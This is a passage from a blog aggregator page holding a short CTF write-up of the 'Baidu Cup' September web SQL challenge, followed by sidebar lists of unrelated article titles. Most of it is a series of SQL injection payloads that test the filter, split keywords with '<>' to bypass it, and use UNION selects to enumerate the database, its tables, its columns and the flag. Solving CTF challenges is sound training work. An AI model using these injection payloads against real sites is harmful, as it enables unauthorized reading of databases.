当前位置:网站首页>"Baidu Cup" CTF competition in September, web:sql
"Baidu Cup" CTF competition in September, web:sql
2022-07-05 13:12:00 【Part 02】
Topic content :
The author will tell you that this is an injection , Don't leave if you feel like it !
see URL
/index.php?id=1
Test filtration
No filtering : ' Space #
Filtered : order by,select
Test whether you can bypass
/**/
1 ord/**/er by 3%23
<>
1 ord<>er by 3%23 With echo
1 ord<>er by 4%23 No echo
?id=-1 union sel<>ect 1,2,3%23
?id=-1 union sel<>ect 1,database(),3%23
?id=-1 union sel<>ect 1,table_name,3 from information_schema.tables where table_schema=database()%23
?id=-1 union sel<>ect 1,column_name,3 from information_schema.columns where table_schema=database()%23
?id=-1 union sel<>ect 1,flAg_T5ZNdrm,3 from info%23
边栏推荐
- Natural language processing series (I) introduction overview
- SAP SEGW 事物码里的导航属性(Navigation Property) 和 EntitySet 使用方法
- [Nacos cloud native] the first step of reading the source code is to start Nacos locally
- Introduction to sap ui5 dynamicpage control
- A small talk caused by the increase of sweeping
- RHCSA4
- 百日完成国产数据库opengausss的开源任务--openGuass极简版3.0.0安装教程
- Navigation property and entityset usage in SAP segw transaction code
- How to realize batch sending when fishing
- leetcode:221. Maximum square [essence of DP state transition]
猜你喜欢
MySQL 巨坑:update 更新慎用影响行数做判断!!!
爱可生SQLe审核工具顺利完成信通院‘SQL质量管理平台分级能力’评测
What is the difference between Bi software in the domestic market
Detailed explanation of navigation component of openharmony application development
百日完成国产数据库opengausss的开源任务--openGuass极简版3.0.0安装教程
[Nacos cloud native] the first step of reading the source code is to start Nacos locally
【每日一题】1200. 最小绝对差
Association modeling method in SAP segw transaction code
使用 jMeter 对 SAP Spartacus 进行并发性能测试
函数传递参数小案例
随机推荐
I'm doing open source in Didi
How to protect user privacy without password authentication?
RHCSA10
STM32 and motor development (from architecture diagram to documentation)
946. 验证栈序列
蜀天梦图×微言科技丨达梦图数据库朋友圈+1
数据湖(七):Iceberg概念及回顾什么是数据湖
#yyds干货盘点# 解决名企真题:搬圆桌
Get you started with Apache pseudo static configuration
实现 1~number 之间,所有数字的加和
“百度杯”CTF比赛 九月场,Web:SQL
事务的基本特性和隔离级别
Asemi rectifier bridge hd06 parameters, hd06 pictures, hd06 applications
[cloud native] event publishing and subscription in Nacos -- observer mode
PyCharm安装第三方库图解
Rocky基础命令3
Flutter 绘制波浪移动动画效果,曲线和折线图
Concurrent performance test of SAP Spartacus with JMeter
uni-app开发语音识别app,讲究的就是简单快速。
Android本地Sqlite数据库的备份和还原